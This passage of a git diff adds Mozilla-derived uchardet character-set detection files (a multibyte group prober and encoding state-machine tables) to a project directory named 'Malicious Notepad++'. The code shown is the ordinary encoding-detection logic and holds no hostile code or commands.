+nsMBCSGroupProber::nsMBCSGroupProber(PRUint32 aLanguageFilter) +{ + for (PRUint32 i = 0; i < NUM_OF_PROBERS; i++) + mProbers[i] = nsnull; + + mProbers[0] = new nsUTF8Prober(); + if (aLanguageFilter & NS_FILTER_JAPANESE) + { + mProbers[1] = new nsSJISProber(aLanguageFilter == NS_FILTER_JAPANESE); + mProbers[2] = new nsEUCJPProber(aLanguageFilter == NS_FILTER_JAPANESE); + } + if (aLanguageFilter & NS_FILTER_CHINESE_SIMPLIFIED) + mProbers[3] = new nsGB18030Prober(aLanguageFilter == NS_FILTER_CHINESE_SIMPLIFIED); + if (aLanguageFilter & NS_FILTER_KOREAN) + mProbers[4] = new nsEUCKRProber(aLanguageFilter == NS_FILTER_KOREAN); + if (aLanguageFilter & NS_FILTER_CHINESE_TRADITIONAL) + { + mProbers[5] = new nsBig5Prober(aLanguageFilter == NS_FILTER_CHINESE_TRADITIONAL); + mProbers[6] = new nsEUCTWProber(aLanguageFilter == NS_FILTER_CHINESE_TRADITIONAL); + } + Reset(); +} + +nsMBCSGroupProber::~nsMBCSGroupProber() +{ + for (PRUint32 i = 0; i < NUM_OF_PROBERS; i++) + { + delete mProbers[i]; + } +} + +const char* nsMBCSGroupProber::GetCharSetName() +{ + if (mBestGuess == -1) + { + GetConfidence(); + if (mBestGuess == -1) + mBestGuess = 0; + } + return mProbers[mBestGuess]->GetCharSetName(); +} + +void nsMBCSGroupProber::Reset(void) +{ + mActiveNum = 0; + for (PRUint32 i = 0; i < NUM_OF_PROBERS; i++) + { + if (mProbers[i]) + { + mProbers[i]->Reset(); + mIsActive[i] = PR_TRUE; + ++mActiveNum; + } + else + mIsActive[i] = PR_FALSE; + } + mBestGuess = -1; + mState = eDetecting; + mKeepNext = 0; +} + +nsProbingState nsMBCSGroupProber::HandleData(const char* aBuf, PRUint32 aLen) +{ + nsProbingState st; + PRUint32 start = 0; + PRUint32 keepNext = mKeepNext; + + //do filtering to reduce load to probers + for (PRUint32 pos = 0; pos < aLen; ++pos) + { + if (aBuf[pos] & 0x80) + { + if (!keepNext) + start = pos; + keepNext = 2; + } + else if (keepNext) + { + if (--keepNext == 0) + { + for (PRUint32 i = 0; i < NUM_OF_PROBERS; i++) + { + if (!mIsActive[i]) + continue; + st = mProbers[i]->HandleData(aBuf + start, pos + 1 - start); + if (st == eFoundIt) + { + mBestGuess = i; + mState = eFoundIt; + return mState; + } + } + } + } + } + + if (keepNext) { + for (PRUint32 i = 0; i < NUM_OF_PROBERS; i++) + { + if (!mIsActive[i]) + continue; + st = mProbers[i]->HandleData(aBuf + start, aLen - start); + if (st == eFoundIt) + { + mBestGuess = i; + mState = eFoundIt; + return mState; + } + } + } + mKeepNext = keepNext; + + return mState; +} + +float nsMBCSGroupProber::GetConfidence(void) +{ + PRUint32 i; + float bestConf = 0.0, cf; + + switch (mState) + { + case eFoundIt: + return (float)0.99; + case eNotMe: + return (float)0.01; + default: + for (i = 0; i < NUM_OF_PROBERS; i++) + { + if (!mIsActive[i]) + continue; + cf = mProbers[i]->GetConfidence(); + if (bestConf < cf) + { + bestConf = cf; + mBestGuess = i; + } + } + } + return bestConf; +} + +#ifdef DEBUG_chardet +void nsMBCSGroupProber::DumpStatus() +{ + PRUint32 i; + float cf; + + GetConfidence(); + for (i = 0; i < NUM_OF_PROBERS; i++) + { + if (!mIsActive[i]) + printf(" MBCS inactive: [%s] (confidence is too low).\r\n", ProberName[i]); + else + { + cf = mProbers[i]->GetConfidence(); + printf(" MBCS %1.3f: [%s]\r\n", cf, ProberName[i]); + } + } +} +#endif + +#ifdef DEBUG_jgmyers +void nsMBCSGroupProber::GetDetectorState(nsUniversalDetector::DetectorState (&states)[nsUniversalDetector::NumDetectors], PRUint32 &offset) +{ + for (PRUint32 i = 0; i < NUM_OF_PROBERS; ++i) { + states[offset].name = ProberName[i]; + states[offset].isActive = mIsActive[i]; + states[offset].confidence = mIsActive[i] ? mProbers[i]->GetConfidence() : 0.0; + ++offset; + } +} +#endif /* DEBUG_jgmyers */ diff --git a/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.h b/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.h new file mode 100644 index 0000000..c4e9964 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsMBCSGroupProber.h @@ -0,0 +1,80 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * Proofpoint, Inc. + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#ifndef nsMBCSGroupProber_h__ +#define nsMBCSGroupProber_h__ + +#include "nsSJISProber.h" +#include "nsUTF8Prober.h" +#include "nsEUCJPProber.h" +#include "nsGB2312Prober.h" +#include "nsEUCKRProber.h" +#include "nsBig5Prober.h" +#include "nsEUCTWProber.h" + +#define NUM_OF_PROBERS 7 + +class nsMBCSGroupProber: public nsCharSetProber { +public: + nsMBCSGroupProber(PRUint32 aLanguageFilter); + virtual ~nsMBCSGroupProber(); + nsProbingState HandleData(const char* aBuf, PRUint32 aLen); + const char* GetCharSetName(); + nsProbingState GetState(void) {return mState;} + void Reset(void); + float GetConfidence(void); + void SetOpion() {} + +#ifdef DEBUG_chardet + void DumpStatus(); +#endif +#ifdef DEBUG_jgmyers + void GetDetectorState(nsUniversalDetector::DetectorState (&states)[nsUniversalDetector::NumDetectors], PRUint32 &offset); +#endif + +protected: + nsProbingState mState; + nsCharSetProber* mProbers[NUM_OF_PROBERS]; + PRBool mIsActive[NUM_OF_PROBERS]; + PRInt32 mBestGuess; + PRUint32 mActiveNum; + PRUint32 mKeepNext; +}; + +#endif /* nsMBCSGroupProber_h__ */ + diff --git a/Malicious Notepad++/src/uchardet/nsMBCSSM.cpp b/Malicious Notepad++/src/uchardet/nsMBCSSM.cpp new file mode 100644 index 0000000..bedf2b7 --- /dev/null +++ b/Malicious Notepad++/src/uchardet/nsMBCSSM.cpp @@ -0,0 +1,507 @@ +/* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ +/* ***** BEGIN LICENSE BLOCK ***** + * Version: MPL 1.1/GPL 2.0/LGPL 2.1 + * + * The contents of this file are subject to the Mozilla Public License Version + * 1.1 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * http://www.mozilla.org/MPL/ + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License + * for the specific language governing rights and limitations under the + * License. + * + * The Original Code is mozilla.org code. + * + * The Initial Developer of the Original Code is + * Netscape Communications Corporation. + * Portions created by the Initial Developer are Copyright (C) 1998 + * the Initial Developer. All Rights Reserved. + * + * Contributor(s): + * + * Alternatively, the contents of this file may be used under the terms of + * either the GNU General Public License Version 2 or later (the "GPL"), or + * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), + * in which case the provisions of the GPL or the LGPL are applicable instead + * of those above. If you wish to allow use of your version of this file only + * under the terms of either the GPL or the LGPL, and not to allow others to + * use your version of this file under the terms of the MPL, indicate your + * decision by deleting the provisions above and replace them with the notice + * and other provisions required by the GPL or the LGPL. If you do not delete + * the provisions above, a recipient may use your version of this file under + * the terms of any one of the MPL, the GPL or the LGPL. + * + * ***** END LICENSE BLOCK ***** */ + +#include "nsCodingStateMachine.h" + +/* +Modification from frank tang's original work: +. 0x00 is allowed as a legal character. Since some web pages contains this char in + text stream. +*/ + +// BIG5 + +static const PRUint32 BIG5_cls [ 256 / 8 ] = { +//PCK4BITS(0,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 //allow 0x00 as legal value +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(1,1,1,1,1,1,1,1), // 30 - 37 +PCK4BITS(1,1,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(2,2,2,2,2,2,2,2), // 40 - 47 +PCK4BITS(2,2,2,2,2,2,2,2), // 48 - 4f +PCK4BITS(2,2,2,2,2,2,2,2), // 50 - 57 +PCK4BITS(2,2,2,2,2,2,2,2), // 58 - 5f +PCK4BITS(2,2,2,2,2,2,2,2), // 60 - 67 +PCK4BITS(2,2,2,2,2,2,2,2), // 68 - 6f +PCK4BITS(2,2,2,2,2,2,2,2), // 70 - 77 +PCK4BITS(2,2,2,2,2,2,2,1), // 78 - 7f +PCK4BITS(4,4,4,4,4,4,4,4), // 80 - 87 +PCK4BITS(4,4,4,4,4,4,4,4), // 88 - 8f +PCK4BITS(4,4,4,4,4,4,4,4), // 90 - 97 +PCK4BITS(4,4,4,4,4,4,4,4), // 98 - 9f +PCK4BITS(4,3,3,3,3,3,3,3), // a0 - a7 +PCK4BITS(3,3,3,3,3,3,3,3), // a8 - af +PCK4BITS(3,3,3,3,3,3,3,3), // b0 - b7 +PCK4BITS(3,3,3,3,3,3,3,3), // b8 - bf +PCK4BITS(3,3,3,3,3,3,3,3), // c0 - c7 +PCK4BITS(3,3,3,3,3,3,3,3), // c8 - cf +PCK4BITS(3,3,3,3,3,3,3,3), // d0 - d7 +PCK4BITS(3,3,3,3,3,3,3,3), // d8 - df +PCK4BITS(3,3,3,3,3,3,3,3), // e0 - e7 +PCK4BITS(3,3,3,3,3,3,3,3), // e8 - ef +PCK4BITS(3,3,3,3,3,3,3,3), // f0 - f7 +PCK4BITS(3,3,3,3,3,3,3,0) // f8 - ff +}; + + +static const PRUint32 BIG5_st [ 3] = { +PCK4BITS(eError,eStart,eStart, 3,eError,eError,eError,eError),//00-07 +PCK4BITS(eError,eError,eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError),//08-0f +PCK4BITS(eError,eStart,eStart,eStart,eStart,eStart,eStart,eStart) //10-17 +}; + +static const PRUint32 Big5CharLenTable[] = {0, 1, 1, 2, 0}; + +const SMModel Big5SMModel( +nsPkgInt( eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, BIG5_cls ), + 5, +nsPkgInt( eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, BIG5_st ), + Big5CharLenTable, +"Big5"); + +static const PRUint32 EUCJP_cls [ 256 / 8 ] = { +//PCK4BITS(5,4,4,4,4,4,4,4), // 00 - 07 +PCK4BITS(4,4,4,4,4,4,4,4), // 00 - 07 +PCK4BITS(4,4,4,4,4,4,5,5), // 08 - 0f +PCK4BITS(4,4,4,4,4,4,4,4), // 10 - 17 +PCK4BITS(4,4,4,5,4,4,4,4), // 18 - 1f +PCK4BITS(4,4,4,4,4,4,4,4), // 20 - 27 +PCK4BITS(4,4,4,4,4,4,4,4), // 28 - 2f +PCK4BITS(4,4,4,4,4,4,4,4), // 30 - 37 +PCK4BITS(4,4,4,4,4,4,4,4), // 38 - 3f +PCK4BITS(4,4,4,4,4,4,4,4), // 40 - 47 +PCK4BITS(4,4,4,4,4,4,4,4), // 48 - 4f +PCK4BITS(4,4,4,4,4,4,4,4), // 50 - 57 +PCK4BITS(4,4,4,4,4,4,4,4), // 58 - 5f +PCK4BITS(4,4,4,4,4,4,4,4), // 60 - 67 +PCK4BITS(4,4,4,4,4,4,4,4), // 68 - 6f +PCK4BITS(4,4,4,4,4,4,4,4), // 70 - 77 +PCK4BITS(4,4,4,4,4,4,4,4), // 78 - 7f +PCK4BITS(5,5,5,5,5,5,5,5), // 80 - 87 +PCK4BITS(5,5,5,5,5,5,1,3), // 88 - 8f +PCK4BITS(5,5,5,5,5,5,5,5), // 90 - 97 +PCK4BITS(5,5,5,5,5,5,5,5), // 98 - 9f +PCK4BITS(5,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,2,2,2), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(0,0,0,0,0,0,0,0), // e0 - e7 +PCK4BITS(0,0,0,0,0,0,0,0), // e8 - ef +PCK4BITS(0,0,0,0,0,0,0,0), // f0 - f7 +PCK4BITS(0,0,0,0,0,0,0,5) // f8 - ff +}; + + +static const PRUint32 EUCJP_st [ 5] = { +PCK4BITS( 3, 4, 3, 5,eStart,eError,eError,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eStart,eError,eStart,eError,eError,eError),//10-17 +PCK4BITS(eError,eError,eStart,eError,eError,eError, 3,eError),//18-1f +PCK4BITS( 3,eError,eError,eError,eStart,eStart,eStart,eStart) //20-27 +}; + +static const PRUint32 EUCJPCharLenTable[] = {2, 2, 2, 3, 1, 0}; + +const SMModel EUCJPSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCJP_cls), + 6, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCJP_st), + EUCJPCharLenTable, + "EUC-JP"); + +static const PRUint32 EUCKR_cls [ 256 / 8 ] = { +//PCK4BITS(0,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(1,1,1,1,1,1,1,1), // 30 - 37 +PCK4BITS(1,1,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(1,1,1,1,1,1,1,1), // 40 - 47 +PCK4BITS(1,1,1,1,1,1,1,1), // 48 - 4f +PCK4BITS(1,1,1,1,1,1,1,1), // 50 - 57 +PCK4BITS(1,1,1,1,1,1,1,1), // 58 - 5f +PCK4BITS(1,1,1,1,1,1,1,1), // 60 - 67 +PCK4BITS(1,1,1,1,1,1,1,1), // 68 - 6f +PCK4BITS(1,1,1,1,1,1,1,1), // 70 - 77 +PCK4BITS(1,1,1,1,1,1,1,1), // 78 - 7f +PCK4BITS(0,0,0,0,0,0,0,0), // 80 - 87 +PCK4BITS(0,0,0,0,0,0,0,0), // 88 - 8f +PCK4BITS(0,0,0,0,0,0,0,0), // 90 - 97 +PCK4BITS(0,0,0,0,0,0,0,0), // 98 - 9f +PCK4BITS(0,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,3,3,3), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,3,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(2,2,2,2,2,2,2,2), // e0 - e7 +PCK4BITS(2,2,2,2,2,2,2,2), // e8 - ef +PCK4BITS(2,2,2,2,2,2,2,2), // f0 - f7 +PCK4BITS(2,2,2,2,2,2,2,0) // f8 - ff +}; + + +static const PRUint32 EUCKR_st [ 2] = { +PCK4BITS(eError,eStart, 3,eError,eError,eError,eError,eError),//00-07 +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,eStart) //08-0f +}; + +static const PRUint32 EUCKRCharLenTable[] = {0, 1, 2, 0}; + +const SMModel EUCKRSMModel ( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCKR_cls), + 4, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCKR_st), + EUCKRCharLenTable, + "EUC-KR"); + +static const PRUint32 EUCTW_cls [ 256 / 8 ] = { +//PCK4BITS(0,2,2,2,2,2,2,2), // 00 - 07 +PCK4BITS(2,2,2,2,2,2,2,2), // 00 - 07 +PCK4BITS(2,2,2,2,2,2,0,0), // 08 - 0f +PCK4BITS(2,2,2,2,2,2,2,2), // 10 - 17 +PCK4BITS(2,2,2,0,2,2,2,2), // 18 - 1f +PCK4BITS(2,2,2,2,2,2,2,2), // 20 - 27 +PCK4BITS(2,2,2,2,2,2,2,2), // 28 - 2f +PCK4BITS(2,2,2,2,2,2,2,2), // 30 - 37 +PCK4BITS(2,2,2,2,2,2,2,2), // 38 - 3f +PCK4BITS(2,2,2,2,2,2,2,2), // 40 - 47 +PCK4BITS(2,2,2,2,2,2,2,2), // 48 - 4f +PCK4BITS(2,2,2,2,2,2,2,2), // 50 - 57 +PCK4BITS(2,2,2,2,2,2,2,2), // 58 - 5f +PCK4BITS(2,2,2,2,2,2,2,2), // 60 - 67 +PCK4BITS(2,2,2,2,2,2,2,2), // 68 - 6f +PCK4BITS(2,2,2,2,2,2,2,2), // 70 - 77 +PCK4BITS(2,2,2,2,2,2,2,2), // 78 - 7f +PCK4BITS(0,0,0,0,0,0,0,0), // 80 - 87 +PCK4BITS(0,0,0,0,0,0,6,0), // 88 - 8f +PCK4BITS(0,0,0,0,0,0,0,0), // 90 - 97 +PCK4BITS(0,0,0,0,0,0,0,0), // 98 - 9f +PCK4BITS(0,3,4,4,4,4,4,4), // a0 - a7 +PCK4BITS(5,5,1,1,1,1,1,1), // a8 - af +PCK4BITS(1,1,1,1,1,1,1,1), // b0 - b7 +PCK4BITS(1,1,1,1,1,1,1,1), // b8 - bf +PCK4BITS(1,1,3,1,3,3,3,3), // c0 - c7 +PCK4BITS(3,3,3,3,3,3,3,3), // c8 - cf +PCK4BITS(3,3,3,3,3,3,3,3), // d0 - d7 +PCK4BITS(3,3,3,3,3,3,3,3), // d8 - df +PCK4BITS(3,3,3,3,3,3,3,3), // e0 - e7 +PCK4BITS(3,3,3,3,3,3,3,3), // e8 - ef +PCK4BITS(3,3,3,3,3,3,3,3), // f0 - f7 +PCK4BITS(3,3,3,3,3,3,3,0) // f8 - ff +}; + + +static const PRUint32 EUCTW_st [ 6] = { +PCK4BITS(eError,eError,eStart, 3, 3, 3, 4,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eError,eError,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eStart,eError),//10-17 +PCK4BITS(eStart,eStart,eStart,eError,eError,eError,eError,eError),//18-1f +PCK4BITS( 5,eError,eError,eError,eStart,eError,eStart,eStart),//20-27 +PCK4BITS(eStart,eError,eStart,eStart,eStart,eStart,eStart,eStart) //28-2f +}; + +static const PRUint32 EUCTWCharLenTable[] = {0, 0, 1, 2, 2, 2, 3}; + +const SMModel EUCTWSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCTW_cls), + 7, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, EUCTW_st), + EUCTWCharLenTable, + "x-euc-tw"); + +/* obsolete GB2312 by gb18030 +static PRUint32 GB2312_cls [ 256 / 8 ] = { +//PCK4BITS(0,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(1,1,1,1,1,1,1,1), // 30 - 37 +PCK4BITS(1,1,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(1,1,1,1,1,1,1,1), // 40 - 47 +PCK4BITS(1,1,1,1,1,1,1,1), // 48 - 4f +PCK4BITS(1,1,1,1,1,1,1,1), // 50 - 57 +PCK4BITS(1,1,1,1,1,1,1,1), // 58 - 5f +PCK4BITS(1,1,1,1,1,1,1,1), // 60 - 67 +PCK4BITS(1,1,1,1,1,1,1,1), // 68 - 6f +PCK4BITS(1,1,1,1,1,1,1,1), // 70 - 77 +PCK4BITS(1,1,1,1,1,1,1,1), // 78 - 7f +PCK4BITS(1,0,0,0,0,0,0,0), // 80 - 87 +PCK4BITS(0,0,0,0,0,0,0,0), // 88 - 8f +PCK4BITS(0,0,0,0,0,0,0,0), // 90 - 97 +PCK4BITS(0,0,0,0,0,0,0,0), // 98 - 9f +PCK4BITS(0,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,3,3,3,3,3,3), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(2,2,2,2,2,2,2,2), // e0 - e7 +PCK4BITS(2,2,2,2,2,2,2,2), // e8 - ef +PCK4BITS(2,2,2,2,2,2,2,2), // f0 - f7 +PCK4BITS(2,2,2,2,2,2,2,0) // f8 - ff +}; + + +static PRUint32 GB2312_st [ 2] = { +PCK4BITS(eError,eStart, 3,eError,eError,eError,eError,eError),//00-07 +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart,eStart) //08-0f +}; + +static const PRUint32 GB2312CharLenTable[] = {0, 1, 2, 0}; + +SMModel GB2312SMModel = { + {eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, GB2312_cls }, + 4, + {eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, GB2312_st }, + GB2312CharLenTable, + "GB2312", +}; +*/ + +// the following state machine data was created by perl script in +// intl/chardet/tools. It should be the same as in PSM detector. +static const PRUint32 GB18030_cls [ 256 / 8 ] = { +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(3,3,3,3,3,3,3,3), // 30 - 37 +PCK4BITS(3,3,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(2,2,2,2,2,2,2,2), // 40 - 47 +PCK4BITS(2,2,2,2,2,2,2,2), // 48 - 4f +PCK4BITS(2,2,2,2,2,2,2,2), // 50 - 57 +PCK4BITS(2,2,2,2,2,2,2,2), // 58 - 5f +PCK4BITS(2,2,2,2,2,2,2,2), // 60 - 67 +PCK4BITS(2,2,2,2,2,2,2,2), // 68 - 6f +PCK4BITS(2,2,2,2,2,2,2,2), // 70 - 77 +PCK4BITS(2,2,2,2,2,2,2,4), // 78 - 7f +PCK4BITS(5,6,6,6,6,6,6,6), // 80 - 87 +PCK4BITS(6,6,6,6,6,6,6,6), // 88 - 8f +PCK4BITS(6,6,6,6,6,6,6,6), // 90 - 97 +PCK4BITS(6,6,6,6,6,6,6,6), // 98 - 9f +PCK4BITS(6,6,6,6,6,6,6,6), // a0 - a7 +PCK4BITS(6,6,6,6,6,6,6,6), // a8 - af +PCK4BITS(6,6,6,6,6,6,6,6), // b0 - b7 +PCK4BITS(6,6,6,6,6,6,6,6), // b8 - bf +PCK4BITS(6,6,6,6,6,6,6,6), // c0 - c7 +PCK4BITS(6,6,6,6,6,6,6,6), // c8 - cf +PCK4BITS(6,6,6,6,6,6,6,6), // d0 - d7 +PCK4BITS(6,6,6,6,6,6,6,6), // d8 - df +PCK4BITS(6,6,6,6,6,6,6,6), // e0 - e7 +PCK4BITS(6,6,6,6,6,6,6,6), // e8 - ef +PCK4BITS(6,6,6,6,6,6,6,6), // f0 - f7 +PCK4BITS(6,6,6,6,6,6,6,0) // f8 - ff +}; + + +static const PRUint32 GB18030_st [ 6] = { +PCK4BITS(eError,eStart,eStart,eStart,eStart,eStart, 3,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eError,eError,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eItsMe,eItsMe,eItsMe,eError,eError,eStart),//10-17 +PCK4BITS( 4,eError,eStart,eStart,eError,eError,eError,eError),//18-1f +PCK4BITS(eError,eError, 5,eError,eError,eError,eItsMe,eError),//20-27 +PCK4BITS(eError,eError,eStart,eStart,eStart,eStart,eStart,eStart) //28-2f +}; + +// To be accurate, the length of class 6 can be either 2 or 4. +// But it is not necessary to discriminate between the two since +// it is used for frequency analysis only, and we are validing +// each code range there as well. So it is safe to set it to be +// 2 here. +static const PRUint32 GB18030CharLenTable[] = {0, 1, 1, 1, 1, 1, 2}; + +const SMModel GB18030SMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, GB18030_cls ), + 7, + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, eUnitMsk4bits, GB18030_st ), + GB18030CharLenTable, + "GB18030"); + +// sjis + +static const PRUint32 SJIS_cls [ 256 / 8 ] = { +//PCK4BITS(0,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,1,1), // 00 - 07 +PCK4BITS(1,1,1,1,1,1,0,0), // 08 - 0f +PCK4BITS(1,1,1,1,1,1,1,1), // 10 - 17 +PCK4BITS(1,1,1,0,1,1,1,1), // 18 - 1f +PCK4BITS(1,1,1,1,1,1,1,1), // 20 - 27 +PCK4BITS(1,1,1,1,1,1,1,1), // 28 - 2f +PCK4BITS(1,1,1,1,1,1,1,1), // 30 - 37 +PCK4BITS(1,1,1,1,1,1,1,1), // 38 - 3f +PCK4BITS(2,2,2,2,2,2,2,2), // 40 - 47 +PCK4BITS(2,2,2,2,2,2,2,2), // 48 - 4f +PCK4BITS(2,2,2,2,2,2,2,2), // 50 - 57 +PCK4BITS(2,2,2,2,2,2,2,2), // 58 - 5f +PCK4BITS(2,2,2,2,2,2,2,2), // 60 - 67 +PCK4BITS(2,2,2,2,2,2,2,2), // 68 - 6f +PCK4BITS(2,2,2,2,2,2,2,2), // 70 - 77 +PCK4BITS(2,2,2,2,2,2,2,1), // 78 - 7f +PCK4BITS(3,3,3,3,3,3,3,3), // 80 - 87 +PCK4BITS(3,3,3,3,3,3,3,3), // 88 - 8f +PCK4BITS(3,3,3,3,3,3,3,3), // 90 - 97 +PCK4BITS(3,3,3,3,3,3,3,3), // 98 - 9f +//0xa0 is illegal in sjis encoding, but some pages does +//contain such byte. We need to be more error forgiven. +PCK4BITS(2,2,2,2,2,2,2,2), // a0 - a7 +PCK4BITS(2,2,2,2,2,2,2,2), // a8 - af +PCK4BITS(2,2,2,2,2,2,2,2), // b0 - b7 +PCK4BITS(2,2,2,2,2,2,2,2), // b8 - bf +PCK4BITS(2,2,2,2,2,2,2,2), // c0 - c7 +PCK4BITS(2,2,2,2,2,2,2,2), // c8 - cf +PCK4BITS(2,2,2,2,2,2,2,2), // d0 - d7 +PCK4BITS(2,2,2,2,2,2,2,2), // d8 - df +PCK4BITS(3,3,3,3,3,3,3,3), // e0 - e7 +PCK4BITS(3,3,3,3,3,4,4,4), // e8 - ef +PCK4BITS(4,4,4,4,4,4,4,4), // f0 - f7 +PCK4BITS(4,4,4,4,4,0,0,0) // f8 - ff +}; + + +static const PRUint32 SJIS_st [ 3] = { +PCK4BITS(eError,eStart,eStart, 3,eError,eError,eError,eError),//00-07 +PCK4BITS(eError,eError,eError,eError,eItsMe,eItsMe,eItsMe,eItsMe),//08-0f +PCK4BITS(eItsMe,eItsMe,eError,eError,eStart,eStart,eStart,eStart) //10-17 +}; + +static const PRUint32 SJISCharLenTable[] = {0, 1, 1, 2, 0, 0}; + +const SMModel SJISSMModel( + nsPkgInt(eIdxSft4bits, eSftMsk4bits, eBitSft4bits, 